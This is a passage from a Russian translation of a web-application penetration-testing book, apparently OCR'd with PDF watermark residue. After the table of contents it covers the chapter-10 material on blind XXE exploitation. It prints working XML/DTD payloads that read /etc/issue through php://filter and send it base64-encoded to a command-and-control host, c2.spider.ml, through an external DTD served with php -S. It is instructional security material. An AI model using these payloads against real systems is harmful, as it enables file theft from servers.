- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|||||
w Click |
to |
BUY 268 |
|||||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
||||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
Глава 10.Практические атаки на стороне сервера
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.10.15. База данных SQL,извлеченная из внутреннего хоста
CyberChef – отличный инструмент для манипулирования данными, доступный онлайн или для загрузки со страницы https://
gchq.github.io/CyberChef.
Получилось! Нам удалось заиметь базу данных из внутренней системы,связав два эксплойта:
XML External Entity (XXE) Server-side Request Forgery (SSRF) ->
Local File Inclusion (LFI)
Как мы уже видели, подделка запроса, в частности XXE (поскольку можем получить содержимое ответа), представляет огромную ценность во время выполнения задания.
«Слепой» XXE
В повседневной работе вам, вероятно, приходилось сталкиваться с тем, что не все XML-парсеры столь же многословны, как тот, что использовался в пре- дыдущемпримере.Многиевеб-приложениянастроенынаподавлениеошибок
ипредупреждений, и иногда они не выводят никаких полезных данных. Предыдущие атаки основывалисьнатом факте,что полезная нагрузка обработана
исущностивыведенынаэкран,чтопозволилонамслегкостьюукрастьданные.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Атаки XXE 269 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
Однако в некоторых случаях это невозможно. |
|
|
p |
|
|
|
|
|
|
|
|||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
Чтобы продемонстрировать данную атаку, исправим XML-парсер, дабы он подавлял сообщения об ошибках и отображал общее сообщение после каждой отправки.
Рис.10.16. Модифицированный XML-парсер не возвращает данные
Строки 2, 3 и 22 сделают наши предыдущие атаки, вызывающие утечку информации, бесполезными. Даже если мы успешно используем XXE, мы не сможем увидеть содержимое файла, который пытаемся получить. SSRF-атаки по-прежнему будут работать, но с их помощью не так просто осуществлять практическую эксплуатацию уязвимостей.
Рис.10.17. «Слепая» XXE-атака не дает полезного результата
Как же передатьданные наружу,если приложение не возвращаетничего полезного после эксплуатации?
Нужно стать немного более креативными. Внеполосная идентификация уязвимости использует командно-контрольный сервер для подтверждения уязви-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 270 Глава 10.Практические атаки на стороне сервера |
w Click |
to |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
мостиприложенияпутемнаблюдениязавходящимисетевымиподключениями. |
|
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
Подтверждение наличия уязвимостей, подверженных «слепому» XXE, можно также делать внеполосно и,как показано в предыдущем примере,использовать для этого Burp Collaborator или внешний командно-контрольный сервер.
Что, если вместо указания XML-парсеру возвращать необходимые нам данные с помощью тега <xxe>&exfil;</xxe> мы выберем внеполосный подход? Поскольку мы не можем вернуть данные в браузере,то можем попросить парсер подключиться к командно-контрольному серверу и добавить данные в URL-адрес, что позволит нам получить содержимое путем анализа журналов доступа этого сервера.
Нам известно,что можно зашифроватьсодержимое файла в форматBase-64 с помощью потокового фильтра.Давайте объединим два этих способа и попытаемся отправить данные на наш командно-контрольный сервер вместо веббраузера.
Сущности, которые мы должны определить в нашем вредоносном коде, будут выглядеть примерно так:
<!ENTITY % data SYSTEM "php://filter/convert.base64encode/resource=file:///etc/issue">
<!ENTITY % conn "<!ENTITY exfil SYSTEM
'http://c2.spider.ml/exfil?%data;'>">
Если у вас зоркий глаз,то вы заметите новый символ %,который стоитперед именами сущностей. Он обозначает сущность уровня параметров, в отличие от общей сущности,которую мы использовали до сих пор.На общие сущности можно ссылаться где-нибудь в дереве корневых элементов, тогда как на сущность уровня параметров можно ссылаться в DTD или заголовке документа:
сущности параметров имеют префикс в виде символа %;общие сущности имеют префикс в виде символа &.
Следующий шаг–опробовать обе эти категории сущностей в нашем предыдущем коде.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY % data SYSTEM "php://filter/convert.base64encode/resource=file:///etc/issue">
<!ENTITY % conn "<!ENTITY exfil SYSTEM
'http://c2.spider.ml/exfil?%data;'>">
%conn;
]>
<xxe>&exfil;</xxe>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Атаки XXE 271 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Как видите, мы определяем сущности %data и %conn в DOCTYPE. Сущность |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
%conn также определяет общую сущность &exfil, которая присоединит сущность %data в кодировке Base64 к URL-адресу нашего командно-контрольного сервера для эксфильтрации.
Сразу после определения сущности параметров мы заставляем вычислить %conn, что положит начало сбору и кодированию данных. Также будет определено значение &exfil, которая позже вызывается в теле документа.
Проще говоря, уязвимый XML-парсер будет выполнять следующие дейст вия:
попытается вычислить значение %data и соответственно получить содержимое файла /etc/issue;
использует схему php://filter для кодирования содержимого /etc/
issue;
попытается вычислить значение %conn и соответственно подключиться к нашему командно-контрольному серверу2,c2.spider.ml;
передаст содержимое %data в формате Base64 через URL-адрес.
К сожалению, вредоносный код не будет работать из-за ограничений стандарта XML.
Ссылки на сущности параметров (%data и %conn) не допускаются в объявлениях разметки. Нужно использовать внешний DTD,чтобы определить их.
Можно проверитьнаш код на наличие ошибоклокально,используя команду Linux xmllint, как показано ниже.
root@kali:/tools# xmllint payload.xml
payload.xml:5: parser error : PEReferences forbidden in internal subset
<!ENTITY % conn "<!ENTITY exfil SYSTEM 'http://c2.spider.ml/exfil?%data;'>">
^
payload.xml:5: parser warning : not validating will not read content for PE entity data
<!ENTITY % conn "<!ENTITY exfil SYSTEM 'http://c2.spider.ml/exfil?%data;'>">
^
payload.xml:6: parser error : PEReference: %conn; not found %conn;
^
payload.xml:8: parser error : Entity 'exfil' not defined <xxe>&exfil;</xxe>
^
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
||||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 272 |
||||||||||
|
|
|
|
|
|
m |
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
Глава 10.Практические атаки на стороне сервера
xmllint доступен в пакете libxml2-utils в дистрибутивах на базе Debian,таких как Kali.
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Обходной путь достаточно прост. Мы будем хранить объявления сущностей для %data и%conn на нашем командно-контрольном сервере во внешнем DTDфайле.
root@spider-c2-1:~/c2/xxe# cat payload.dtd
<!ENTITY % data SYSTEM "php://filter/convert.base64encode/resource=file:///etc/issue">
<!ENTITY % conn "<!ENTITY exfil SYSTEM
'http://c2.spider.ml/exfil?%data;'>">
Также настроим простой веб-сервер, чтобы предоставить нашей жертве файл payload.dtd с помощью команды php –S.
root@spider-c2-1:~/c2/xxe# php -S 0.0.0.0:80 PHP 7.0.27-0+deb9u1 Development Server started Listening on http://0.0.0.0:80
Document root is /root/c2/xxe Press Ctrl-C to quit.
Модифицированный вредоносный код будет выглядетьтак:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY % dtd SYSTEM "http://c2.spider.ml/payload.dtd">
%dtd;
%conn;
]> <xxe>&exfil;</xxe>
Единственное реальное отличие состоит в том, что мы переместили объявления наших сущностей во внешний DTD-файл и теперь ссылаемся на него в
DOCTYPE.
Как и ожидалось,наши XML-данные не сгенерировали никаких ошибок и не вернули никаких данных. Мы действуем вслепую. (См. рис. 10.18.)
Однако на сервере c2.spider.ml видно два HTTP-запроса,поступающих от жертвы.
root@spider-c2-1:~/c2/xxe# php -S 0.0.0.0:80 PHP 7.0.27-0+deb9u1 Development Server started Listening on http://0.0.0.0:80